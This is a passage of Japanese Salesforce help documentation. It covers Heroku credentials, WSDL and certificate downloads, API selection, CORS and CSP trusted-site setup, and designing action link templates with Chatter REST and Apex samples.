メモ: この項目には、最大で 30 文字を含めるこ
とができます。Heroku ユーザ名が 30 文字を超え
る場合、Heroku アカウントに関連付けられた API

キーを [Heroku API キー] 項目に入力する必
要があります。

Heroku へのログインに使用されるアカウントのパス
ワード。

Heroku パスワード

Heroku アカウントのユーザ名とパスワードを使用する
代わりに、そのアカウントに関連付けられた API キー

Heroku API キー

を使用できます。この値は、Heroku の [私の取引先]

ページにあります。

メモ:  Heroku のユーザ名とパスワードはどこにも保存されませんが、セキュアな接続上でのアプリケー
ション作成プロセスの間のみ使用されます。

関連トピック:

接続アプリケーション
接続アプリケーションの作成
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項目の操作範囲

エディション

使用可能なエディション:
Salesforce Classic

AppExchange パッケージ
および Visualforce を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Apex を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

Apex 連動関係を表示する
• 「Apex 開発」

Visualforce連動関係を表示
する
• 「開発者モード」

[項目の操作範囲] ページに表示される項目は、操作範囲で参照できます。
• [更新] チェックボックスがオンになっている場合、その項目は、insert や

update などのデータベース操作言語 (DML) 操作で更新されます。詳細は、
「連動関係とは」 (ページ 7020)を参照してください。
[更新] チェックボックスがオンになっていない場合、その項目は操作範囲内
でのみ参照されます。たとえば、select ステートメントの一部として含ま
れている場合などです。

• [外部 ID]チェックボックスがオンになっている場合、その項目は、外部 ID と
して機能します。外部 ID 項目には、Salesforce以外のシステムからの一意なレ
コード ID が入ります。外部 ID 値の検索には、サイドバー検索のほか、Force.com

API の項目も使用できます。カスタムオブジェクトおよびソリューションの
データインポートウィザードを使用する場合は、重複を避けるためにこの項
目を使用してください。

関連トピック:

連動関係とは
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Salesforce WSDL およびクライアント認証証明書のダウンロード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

WSDL をダウンロードする
• 「アプリケーションの

カスタマイズ」

Web サービス記述言語 (WSDL) ドキュメントをダウンロードし、APIを使用して、
アプリケーションを Salesforce に統合できます。
使用可能な WSDL は次のとおりです。
• Enterprise WSDL - この WSDL ドキュメントは、単一組織のインテグレーション

の構築に使用します。Enterprise WSDL は非常に強い型付けであるため、コール
は int や string など特定のデータ型のオブジェクトや項目を含みます。
Enterprise WSDL ドキュメントを使用する顧客は、組織でカスタムオブジェクト
またはカスタム項目を変更したとき、あるいは異なるバージョンの API を使
用するときに、Enterprise WSDL ドキュメントをダウンロードし、改めて使用す
る必要があります。

• Partner WSDL - この WSDL は、カスタムオブジェクトまたはカスタム項目に関
係なく、複数のSalesforce組織にわたって機能するインテグレーションを構築
するために使用します。通常、パートナーおよび ISV がこの WSDL を使用しま
す。あまり強い型付けでないため、特定のデータ型に依存せず、項目名と項
目値の名前-値のペアで操作します。Partner WSDL ドキュメントは、API のバー
ジョンごとに 1 回のみダウンロードして使用する必要があります。

• Apex WSDL - この WSDL ドキュメントはApexを別の環境で実行またはコンパイ
ルするために使用します。

• Metadata WSDL - この WSDL は、XML メタデータファイルとして組織間の設定変更を移行したり、組織をカス
タマイズしたりするために使用します。

WSDL ドキュメントをダウンロードする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「API」と入力し、[API] を選択します。
2. 適切な WSDL をダウンロードします。

• Enterprise WSDL をダウンロードして組織に管理パッケージをインストールしている場合は、[Enterprise

WSDL の生成]をクリックします。Salesforceによって、生成された WSDL に含める各インストール済みパッ
ケージのバージョンを選択するように要求されます。

• それ以外の場合、適切な WSDL ドキュメントのリンクを右クリックして、ローカルディレクトリに保存
します。メニューから、Internet Explorer ユーザは [対象を別名で保存]を、Mozilla Firefox ユーザは [リンクを
別名で保存] を選択します。

3. コンピュータで、WSDL ドキュメントのローカルコピーを開発環境にインポートします。

メモ:  WSDL をダウンロードせずに、[パッケージバージョン設定] セクションでデフォルトのパッケージ
バージョンを選択することもできます。

必要に応じて、Salesforce組織を認証するための証明書もダウンロードできます。この証明書をワークフローア
ウトバウンドメッセージに使用します。この証明書で、特定のユーザからの要求ではなく、Salesforceからの要
求であることが特定されます。証明書を使用して Apex コールアウトなどの他の Salesforce 機能を使用した安全
な接続を保証する場合は、Salesforce 証明書とキーペアを使用します。
証明書をダウンロードする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「API」と入力し、[API] を選択します。
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2. API WSDL ページで、[API クライアント証明書を管理] をクリックします。
3. [証明書と鍵の管理] ページの [API クライアント証明書] セクションで、[API クライアント証明書]をクリック

します。
4. [証明書] ページで [証明書のダウンロード] をクリックします。ブラウザで指定したダウンロード場所に .crt

ファイルが保存されます。
ダウンロードした証明書はアプリケーションサーバにインポートし、そのサーバがクライアント証明書を
要求するように設定します。

関連トピック:

Apex 開発者ガイド
メタデータ API 開発者ガイド

どの API を使用するか?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

API を使用する
• 「API の有効化」

Salesforceでは、使いやすく、強力で安全なアプリケーションプログラムインター
フェースを使用した組織の情報へのプログラムによるアクセスを提供していま
す。

通信データの形式プロトコルAPI 名

同期JSON、XMLRESTREST API

同期XMLSOAP (WSDL)SOAP API

同期 (写真の処理
は非同期)

JSON、XMLRESTChatter REST API

同期JSON、XMLRESTWave Analytics REST API

非同期CSV、JSON、XMLRESTBulk API

非同期XMLSOAP (WSDL)メタデータ API

非同期 (データの
ストリーム)

JSONBayeuxストリーミング API

同期JSON、XML、カス
タム

RESTApex REST API

同期XMLSOAP (WSDL)Apex SOAP API

同期JSON、XML、カス
タム

REST または SOAP
(WSDL)

Tooling API

REST API を使用するケース
REST API では、Salesforce を操作するための強力かつ便利で、シンプルな REST ベースの Web サービスインター
フェースを提供します。インテグレーションや開発が容易になるという利点があり、モバイルアプリケーショ
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ンや Web プロジェクトで使用するためのテクノロジの選択としては最適です。ただし、処理するレコード件
数が多い場合は、REST 規則に基づいており、大規模データセットの処理用に最適化されている Bulk API の使用
を検討してください。

SOAP API を使用するケース
SOAP API では、Salesforce を操作するための強力かつ便利で、シンプルな SOAP ベースの Web サービスインター
フェースを提供します。SOAP API を使用して、レコードを作成、取得、更新、または削除できます。また、
SOAP API を使用して、検索の実行などを行うことができます。SOAP API は、Web サービスをサポートしている
言語で使用できます。
たとえば、SOAP API を使用して、Salesforce を組織の ERP や会計システムと統合できます。また、リアルタイム
の販売情報やサポート情報を会社のポータルに配信し、重要なビジネスシステムに顧客情報を入力することも
できます。

Chatter REST API を使用するケース
特にモバイルアプリケーションで、Salesforceデータを表示するには、Chatter REST APIを使用します。また、Chatter

フィード、ユーザ、グループ、フォロワーに加え、Chatter REST APIでは、ファイル、おすすめ情報、トピック、
通知、Data.com の購入などにプログラムを介してアクセスすることもできます。Chatter REST API は、Facebook や
Twitter などのフィードを提供する他の企業から公開されている API に似ていますが、Chatter 以外の Salesforce 機
能も公開されます。

Wave Analytics REST API を使用するケース
Wave Analytics アセット (データセット、レンズ、ダッシュボードなど) には、プログラムで Wave REST API を使用
してアクセスできます。Wave Platform に直接クエリを送信します。Wave Platform にインポートされたデータセッ
トにアクセスします。Wave Analytics レンズを作成および取得します。XMD 情報にアクセスします。データセッ
トバージョンのリストを取得します。Wave Analytics アプリケーションを作成および取得します。Wave Analytics

ダッシュボードを作成、更新、および取得します。アプリケーションの連動関係のリストを取得します。ユー
ザが使用可能な機能を決定します。スナップショットを操作します。複製データセットを操作します。

Bulk API を使用するケース
Bulk API は、REST 規則に基づいており、大規模データセットの読み込みまたは削除用に最適化されています。
Bulk API を使用して複数のバッチを送信することにより、多数のレコードを非同期でクエリ、queryAll、挿入、
更新、更新/挿入または削除できます。バッチはバックグラウンドで処理されます。
一方、SOAP API は、一度に少数のレコードを更新するリアルタイムのクライアントアプリケーション用に最適
化されています。SOAP API を使用しても多数のレコードを処理することはできますが、数十万のレコードが
データセットに含まれている場合には実用性に欠けます。Bulk API は、千から百万単位のレコードのデータを
簡単に読み込めるように設計されています。
Bulk APIの最も簡単な使用方法は、CSV ファイルを使ってデータローダでレコードの処理ができるようにするこ
とです。データローダを使用すると、独自のクライアントアプリケーションを作成する必要がなくなります。
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メタデータ API を使用するケース
メタデータ API を使用して、組織のカスタマイズを取得、リリース、作成、更新、または削除します。最も一
般的な使い方は、Sandboxまたはテスト組織から本番環境への変更の移行です。メタデータ APIは、カスタマイ
ズを管理し、データ自体ではなくメタデータモデルを管理可能なツールを構築するためのものです。
Force.com IDEまたはForce.com 移行ツールを使用すると、最も簡単にメタデータ APIの機能にアクセスできます。
どちらのツールもメタデータ API の上位に構築され、メタデータ API を使用した作業を簡略化するために標準
の Eclipse および Ant ツールが使用されます。
• Force.com IDE は、統合開発環境に慣れているプログラマ向けに Eclipse プラットフォームで構築されていま

す。コーディング、コンパイル、テスト、リリースは IDE 内で行います。
• Force.com 移行ツールは、スクリプトまたはコマンドラインを使用してローカルディレクトリと Salesforce 組

織間でメタデータを移動する場合に最適です。

ストリーミング API を使用するケース
ユーザが定義するSOQLクエリに一致するデータへの変更に関する通知を受信するためにストリーミング APIを
使用します。
ストリーミング API は、サーバからクライアントに通知を転送する必要がある場合に役立ちます。頻繁にポー
リングを行うアプリケーションではストリーミング API を検討してください。Salesforce インフラストラクチャ
に対して常時ポーリングアクションを行うアプリケーションは、不要な API コールおよび処理時間を消費しま
す。ストリーミング APIは、データを返さない要求数を削減し、データ変更の一般的な通知が必要なアプリケー
ションに最適です。
ストリーミング API により、API コールの数を削減し、パフォーマンスを向上できます。

Apex REST API を使用するケース
外部アプリケーションが REST アーキテクチャによってコードにアクセスできるように、Apex クラスとメソッ
ドを公開する必要がある場合は、Apex REST APIを使用します。Apex REST APIは、認証のため OAuth 2.0 およびセッ
ション ID の両方をサポートしています。

Apex SOAP API を使用するケース
外部アプリケーションが SOAP によってコードにアクセスできるように、Apex メソッドを SOAP Web サービス
API として公開する必要がある場合は、Apex SOAP API を使用します。
Apex SOAP API は、認証のため OAuth 2.0 およびセッション ID の両方をサポートしています。

Tooling API を使用するケース
Salesforce メタデータを他のシステムと統合するには、Tooling API を使用します。メタデータ型は sObject として
公開されるため、複合型の 1 つのコンポーネントにアクセスできます。この項目レベルのアクセスにより、複
合型のメタデータに対する操作時間を短縮できます。Force.com アプリケーション用のカスタム開発ツールを作
成することもできます。たとえば、Tooling APIを使用して、Apex クラスとトリガや Visualforce ページとコンポー
ネントの作業コピーを管理およびリリースすることができます。また、チェックポイントまたはヒープダンプ
マーカーの設定、匿名 Apex の実行、ログ記録情報およびコードカバー率情報へのアクセスも行うことができ
ます。
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REST と SOAP は両方ともサポートされています。

CORS を使用した、サポートされた Salesforce API、Apex REST、および Lightning
Out へのアクセス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition

ユーザ権限

作成、参照、更新、およ
び削除する
• 「すべてのデータの編

集」

Apex REST、Bulk API、Chatter REST API、Lightning API、Lightning Out、REST API、Wave REST

API では、CORS (クロスオリジンリソース共有) がサポートされます。Web ブラウ
ザで JavaScript からこれらの API にアクセスするには、スクリプトを提供するオリ
ジンを CORS ホワイトリストに追加します。
「CORS」は、Web ブラウザが他のオリジンからのリソースを要求 (クロスオリジ
ン要求) できるようにする W3C 勧告です。たとえば、CORS を使用すると、
https://www.example.com にある JavaScript スクリプトで
https://www.salesforce.com からのリソースを要求できます。
CORS をサポートするブラウザが、Salesforce CORS ホワイトリスト内のオリジンに
要求を行うと、Salesforce はオリジンを含む Access-Control-Allow-Origin

HTTP ヘッダーと、追加の CORS HTTP ヘッダーを返します。オリジンがホワイトリ
ストにない場合は、Salesforce が HTTP 状況コード 403 を返します。
1. [設定] から、[クイック検索]ボックスに「CORS」と入力し、[CORS]を選択し

ます。
2. [新規] を選択します。
3. オリジンの URL パターンを入力します。

オリジンの URL パターンには、HTTPS プロトコル (localhost を使用しない場合)

とドメイン名が含まれている必要があり、ポートが含まれることもあります。ワイルドカード文字 (*) はサ
ポートされますが、第 2 レベルドメイン名の前にある必要があります。たとえば、https://*.example.com

により、example.com のすべてのサブドメインがホワイトリストに追加されます。
オリジンの URL パターンに IP アドレスを使用できます。ただし、IP アドレスと、同じアドレスに解決する
ドメインは同じオリジンではないため、CORS ホワイトリストには別々のエントリとして追加する必要があ
ります。

重要:  OAuth トークンが必要な要求では、OAuth トークンを渡す必要があります。
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サードパーティ API にアクセスするための CSP 信頼済みサイトの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition

ユーザ権限

作成、参照、更新、およ
び削除する
• 「アプリケーションの

カスタマイズ」または
「すべてのデータの編
集」

Lightningコンポーネントフレームワークでは、コンテンツセキュリティポリシー
(CSP) を使用して、ページに読み込むことができるコンテンツのソースを制御し
ます。外部 (Salesforce 以外の) サーバに対する要求を実行するサードパーティ API

を使用するには、サーバを CSP 信頼済みサイトとして追加します。
CSPは、Web アプリケーションセキュリティに関する W3C ワーキンググループの
勧告候補です。このフレームワークでは、W3C が推奨する Content-Security-

Policy  HTTP ヘッダーを使用しています。デフォルトでは、フレームワークの
ヘッダーに読み込むことができるコンテンツは安全な (HTTPS) URL からのみで、
JavaScript からの XHR 要求は禁止されています。
CSP 信頼済みサイトを定義すると、そのサイトの URL が CSP ヘッダーの次に示す
ディレクティブの許可サイト一覧に追加されます。
• connect-src

• frame-src

• img-src

• style-src

• font-src

• media-src

この CSP ヘッダーディレクティブへの変更によって、Lightningコンポーネントが
サイトから画像、スタイル、フォントなどのリソースを読み込むことができま
す。また、クライアント側のコードでサイトへの要求を行うこともできます。

重要: サードパーティサイトからは、CSP 信頼済みサイトであっても JavaScript リソースを読み込むことは
できません。サードパーティサイトの JavaScript ライブラリを使用するには、そのライブラリを静的リソー
スに追加し、静的リソースをコンポーネントに追加します。ライブラリが静的リソースから読み込まれ
たら、通常どおり使用できます。

1. [設定] から、[クイック検索] ボックスに「CSP」と入力し、[CSP 信頼済みサイト] を選択します。
このページには、すでに登録済みのCSP 信頼済みサイトの一覧が表示され、サイト名や URL など、各サイト
の付加情報があります。

2. [新規信頼済みサイト] を選択します。
3. 信頼済みサイトに名前を付けます。

たとえば、「Google マップ」と入力します。
4. 信頼済みサイトの URL を入力します。

この URL は http:// または https:// で開始し、ドメイン名を含める必要があります。また、ポートを
含めることもできます。

警告: デフォルトの CSP では、外部リソース用のセキュアな (HTTPS) 接続が要求されます。セキュアで
ない (HTTP) URL を使用して CSP 信頼済みサイトを設定しないでください。組織のセキュリティを侵害す
ることになります。

5. オプション: 信頼済みサイトの説明を入力します。
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6. オプション: 信頼済みサイトを実際に削除するのではなく一時的に無効にするには、[有効] チェックボック
スをオフにします。

7. [保存] を選択します。

メモ: CSP 信頼済みサイトは、Lightningコンポーネントフレームワーク要求でのみ CSP ヘッダーに影響しま
す。Visualforce または Apex での対応するアクセス権を有効にするには、リモートサイトを作成します。

CSP が適用されないブラウザもあります。CSP が適用されるブラウザのリストについては、caniuse.comを参
照してください。
IE11 では CSP がサポートされていないため、サポートされている他のブラウザを使用してセキュリティを強化
することをお勧めします。

関連トピック:

リモートサイトの設定
Lightning コンポーネント開発者ガイド: コンテンツセキュリティポリシーの概要

アクションリンクテンプレート

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Personal Edition を除くす
べてのエディション。

[設定] でアクションリンクテンプレートを作成し、Chatter REST API または Apex か
ら共通のプロパティを持つアクションリンクグループをインスタンス化できま
す。テンプレートをパッケージ化して他の Salesforce 組織に配布できます。
アクションリンクは、フィード要素上のボタンです。アクションリンクをクリッ
クすると、ユーザを特定の Web ページに移動したり、ファイルダウンロードを
開始したり、Salesforce または外部サーバへの API コールを呼び出したりできま
す。アクションリンクには、URL と HTTP メソッドが含まれ、リクエストボディ
とヘッダー情報 (認証用の OAuth トークンなど) を含めることができます。アク
ションリンクを使用して Salesforce およびサードパーティサービスをフィードに
統合することで、ユーザはアクションを実行して生産性を高め、イノベーショ
ンを促進できます。
次の例では、[承認]と [却下]が架空の旅行 Web サイトの REST API への API コールを実行して旅程を承認または却
下するアクションリンクです。Pam が旅行 Web サイトに旅程を作成すると、旅行 Web サイトが Chatter REST API

要求を実行してアクションリンクを含むフィード項目を Pam のマネージャである Kevin に対して投稿し、Kevin

が旅程を承認または却下できるようにします。
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重要: アクションリンクは開発者機能です。アクションリンクテンプレートは [設定] で作成しますが、
Apex または Chatter REST API を使用してテンプレートからアクションリンクを生成し、そのリンクをフィー
ド要素に追加する必要があります。

アクションリンクテンプレートの設計
テンプレートを作成する前に、テンプレートにどの値を設定し、テンプレートからアクションリンクグルー
プをインスタンス化するときにバインド変数にどの値を設定するかを検討します。
アクションリンクテンプレートの作成
[設定] でアクションリンクテンプレートを作成し、Chatter REST API または Apex から共通のプロパティを持つ
アクションリンクグループをインスタンス化できます。テンプレートをパッケージ化して他の Salesforce 組
織に配布できます。
アクションリンクテンプレートの編集
未公開のアクションリンクグループテンプレートおよび関連付けられているアクションリンクテンプレー
トのすべての項目を編集できます。
アクションリンクグループテンプレートの削除
アクションリンクグループテンプレートを削除すると、関連付けられているアクションリンクテンプレー
トと、そのテンプレートからインスタンス化されているすべてのアクションリンクグループが削除されま
す。削除されたアクションリンクグループは、関連付けられているすべてのフィード要素に表示されなく
なります。
アクションリンクテンプレートのパッケージ化
アクションリンクテンプレートをパッケージ化して他の Salesforce 組織に配布できます。

関連トピック:

Chatter REST API 開発者ガイド: アクションリンクの操作
Apex 開発者ガイド: アクションリンクの操作

6684

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.chatterapi.meta/chatterapi/features_action_links.htm
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.apexcode.meta/apexcode/connectapi_features_action_links.htm


アクションリンクテンプレートの設計
テンプレートを作成する前に、テンプレートにどの値を設定し、テンプレートからアクションリンクグループ
をインスタンス化するときにバインド変数にどの値を設定するかを検討します。
• アクションリンクテンプレートの概要
• テンプレート設計の考慮事項
• アクションリンクグループの有効期限の設定
• バインド変数の定義
• アクションリンクを表示できるユーザの設定
• コンテキスト変数の使用

アクションリンクテンプレートの概要
[設定] に次のようなアクションリンクグループテンプレートが表示されます。

各アクションリンクグループに、少なくとも 1 つのアクションリンクが必要です。この例のアクションリンク
テンプレートには、[アクション URL]項目に API バージョン番号、[HTTP リクエストボディ]項目にアイテム
番号、[HTTP ヘッダー] 項目に OAuth トークン値の 3 つのバインド変数があります。
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アクションリンクグループをインスタンス化して、バインド変数の値を設定する Chatter REST API 要求は、次の
とおりです。
POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings":[

{
"key":"ApiVersion",
"value":"v1.0"

},
{

"key":"ItemNumber",
"value":"8675309"

},
{

"key":"BearerToken",

"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}

]
}
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次は、テンプレートからアクションリンクグループをインスタンス化して、バインド変数の値を設定するApex

コードです。
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];

// Add binding name-value pairs to a map.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemNumber', '8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');

// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {

ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();

bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);

}

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

テンプレート設計の考慮事項
テンプレートを設計するときは次の点を検討します。
• アクションリンクグループの有効期限を決定します。

「アクションリンクグループの有効期限の設定」を参照してください。
• テンプレートにバインド変数を定義して、グループをインスタンス化するときの値を設定します。テンプ

レートに機密情報を保存しないでください。機密情報はバインド変数を使用して実行時に追加します。
「バインド変数の定義」を参照してください。

• アクションリンクがフィード要素に関連付けられているときに、アクションリンクを表示できるユーザを
決定します。
「アクションリンクを表示できるユーザの設定」を参照してください。
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• アクションリンクの実行コンテキストに関する情報を取得するためには、テンプレートのコンテキスト変
数を使用します。
アクションリンクの実行時に、Salesforce が値を入力し、HTTP 要求で送信します。「コンテキスト変数の使
用」を参照してください。

アクションリンクグループの有効期限の設定
テンプレートからアクションリンクグループを作成するときに、テンプレートに指定された期間に基づいて有
効期限を計算することも、アクションリンクグループに有効期限を設定しないことも可能です。
テンプレートに有効期限までの時間を設定するには、アクションリンクグループテンプレートの[有効期限ま
での時間]項目に値を入力します。この値は、アクションリンクグループがインスタンス化されてから、関連
付けられたフィード要素から削除され実行できなくなるまでの時間数です。最大値は 8760 で、365 日に相当し
ます。
アクションリンクグループをインスタンス化するときに有効期限を設定するには、Action Link Group Definition リ
クエストボディ (Chatter REST API) または ConnectApi.ActionLinkGroupDefinition 入力クラス (Apex) のいず
れかの expirationDate プロパティを設定します。
有効期限のないアクションリンクグループを作成するには、テンプレートの [有効期限までの時間] 項目に値
を入力せず、アクションリンクグループをインスタンス化するときに expirationDate プロパティにも値を
入力しません。
テンプレートからアクションリンクグループを作成するときに、expirationDate と [有効期限までの時間]

は次のように連動します。
• expirationDate を指定すると、新しいアクションリンクグループでその値が使用されます。
• expirationDateを指定せず、テンプレートで [有効期限までの時間]を指定した場合は、新しいアクショ

ンリンクグループで [有効期限までの時間] の値が使用されます。
• expirationDateも [有効期限までの時間]も指定しない場合は、テンプレートからインスタンス化された

アクションリンクグループに有効期限が設定されません。

バインド変数の定義
テンプレートでバインド変数を定義し、アクションリンクグループをインスタンス化するときにその値を設定
します。

重要: テンプレートに機密情報を保存しないでください。機密情報はバインド変数を使用して実行時に追
加します。バインドの値が設定されている場合は、Salesforce に暗号化形式で保存されます。

バインド変数は、アクションリンクテンプレートの [アクション URL]、[HTTP リクエストボディ]、および
[HTTP ヘッダー] 項目で定義できます。テンプレートを公開後、これらの項目を編集することや項目間でバ
インド変数を移動させること、バインド変数を削除することができます。ただし、新しいバインド変数を追加
することはできません。
テンプレートでバインド変数のキーを定義します。アクションリンクグループをインスタンス化するときに、
キーとその値を指定します。
バインド変数キーは {!Bindings.key} の形式です。
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key は、事前に定義された \w 文字クラスの
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}] で Unicode 文字をサポートします。
次の [アクション URL] 項目には 2 つのバインド変数があります。
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}

次の [HTTP ヘッダー] 項目には 2 つのバインド変数があります。
Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}

アクションリンクグループを Chatter REST API でインスタンス化するときにキーとその値を指定します。

POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings" : [

{
"key":"ApiVersion",
"value":"1.0"

},
{

"key":"ItemId",
"value":"8675309"

},
{

"key":"OAuthToken",
"value":"00DRR0000000N0g_!..."

},
{

"key":"ContentType",
"value":"application/json"

}
]

}

Apex にバインド変数キーを指定して、その値を設定します。
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemId', '8675309');
bindingMap.put('OAuthToken', '00DRR0000000N0g_!...');
bindingMap.put('ContentType', 'application/json');

List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new

ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
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}

// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r';
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

ヒント: アクションリンクテンプレートでは同じバインド変数を複数回使用でき、インスタンス化のとき
に値を 1 回だけ指定します。たとえば、あるアクションリンクテンプレートの [HTTP リクエストボディ]

項目で {!Bindings.MyBinding} を 2 回使用し、同じアクションリンクグループテンプレート内の別の
アクションリンクテンプレートの [HTTP ヘッダー] 項目でもう一回使用することができますが、この場
合、テンプレートからアクションリンクグループをインスタンス化するときにこの共有変数の値を 1 回の
み指定します。

アクションリンクを表示できるユーザの設定
[ユーザ表示設定] ドロップダウンリストから値を選択して、アクションリンクがフィード要素に関連付けられ
た後にそのアクションリンクを表示できるユーザを決定します。
使用可能なオプションに [カスタムユーザのみに表示] と [カスタムユーザ以外の全員に表示] があります。この
いずれかの値を選択して、アクションリンクを特定のユーザのみが表示できるようにするか、特定のユーザが
表示できないようにします。次に、[カスタムユーザ(別名)] 項目に値を入力します。この値はバインド変数
キーです。アクションリンクグループをインスタンス化するコードで、キーを使用して、バインド変数の場合
と同じように値を指定します。
次のテンプレートは、[カスタムユーザ(別名)] の値に Invitee を使用します。
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アクションリンクグループをインスタンス化するときに、バインド変数を設定する場合と同じように値を設定
します。

POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings" : [

{
"key":"Invitee",
"value":"005D00000017u6x"

}
]

}

テンプレートで[作成者のマネージャのみに表示]を使用する場合にユーザにマネージャがいなければ、テンプ
レートからアクションリンクグループをインスタンス化するときにエラーが表示されます。この場合のマネー
ジャは、インスタンス化の時点のマネージャです。インスタンス化した後にユーザのマネージャを変更した場
合、この変更は反映されません。
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コンテキスト変数の使用
コンテキスト変数を使用して、アクションリンクを実行したユーザとアクションリンクが呼び出されたコンテ
キストに関する情報を、アクションリンクの呼び出しによって実行された HTTP 要求に渡すことができます。
コンテキスト変数は、Action Link Definition Input リクエストボディまたは
ConnectApi.ActionLinkDefinitionInputオブジェクトの actionUrl、headers、および requestBody

プロパティで使用できます。コンテキスト変数はまた、アクションリンクテンプレートの [アクション URL]、
[HTTP リクエストボディ]、および [HTTP ヘッダー]項目でも使用できます。テンプレートの公開後も、これ
らの項目は編集 (コンテキスト変数の追加と削除を含む) できます。
使用可能なコンテキスト変数は次のとおりです。

説明コンテキスト変数

ユーザが実行したアクションリンクの ID。{!actionLinkId}

ユーザが実行したアクションリンクが含まれるアク
ションリンクグループの ID。

{!actionLinkGroupId}

ユーザがアクションリンクを実行したコミュニティの
ID。内部組織の場合、値は空のキー
"000000000000000000" になります。

{!communityId}

ユーザがアクションリンクを実行したコミュニティの
URL。内部組織の場合、値は空の文字列 "" になりま
す。

{!communityUrl}

ユーザがアクションリンクを実行した組織の ID。{!orgId}

アクションリンクを実行したユーザの ID。{!userId}

たとえば、Survey Example という会社に勤務していて、「Survey Example for Salesforce」というアプリケーション
を Salesforce AppExchange 用に作成したとします。会社 A には「Survey Example for Salesforce」がインストールさ
れています。会社 A の誰かが surveyexample.com にアクセスしてアンケートを作成します。Survey Example

のコードは、Chatter REST API を使用して、会社 A の Salesforce 組織に本文テキスト [調査を実行] と、表示ラベル
[OK] のアクションリンクを含むフィード項目を作成します。
この UIアクションリンクをクリックすると、ユーザがSalesforceからアンケートに回答する surveyexample.com

の Web ページに移動します。
そのアクションリンクの [HTTP リクエストボディ] または [アクション URL] に {!userId} コンテキスト変
数が含まれる場合、ユーザがフィードのアクションリンクをクリックすると、Salesforceはクリックしたユーザ
の ID を、作成した HTTP 要求に含めてサーバに送信します。
アクションリンクを作成する Survey Example のサーバ側コードに {!actionLinkId} コンテキスト変数が含ま
れる場合は、Salesforce がアクションリンクの ID を含む HTTP 要求を送信するため、この ID をデータベースに保
存できます。
次の例では、アクションリンクテンプレートの [アクション URL] に {!userId} コンテキスト変数が含まれ
ます。
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ヒント: バインド変数とコンテキスト変数は同じ項目で使用できます。たとえば、アクション URL
https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}

にはバインド変数とコンテキスト変数が含まれています。
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アクションリンクテンプレートの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Personal Edition を除くす
べてのエディション。

ユーザ権限

アクションリンクグルー
プテンプレートを作成す
る
• 「アプリケーションの

カスタマイズ」

アクションリンクテンプ
レートを作成する
• 「アプリケーションの

カスタマイズ」

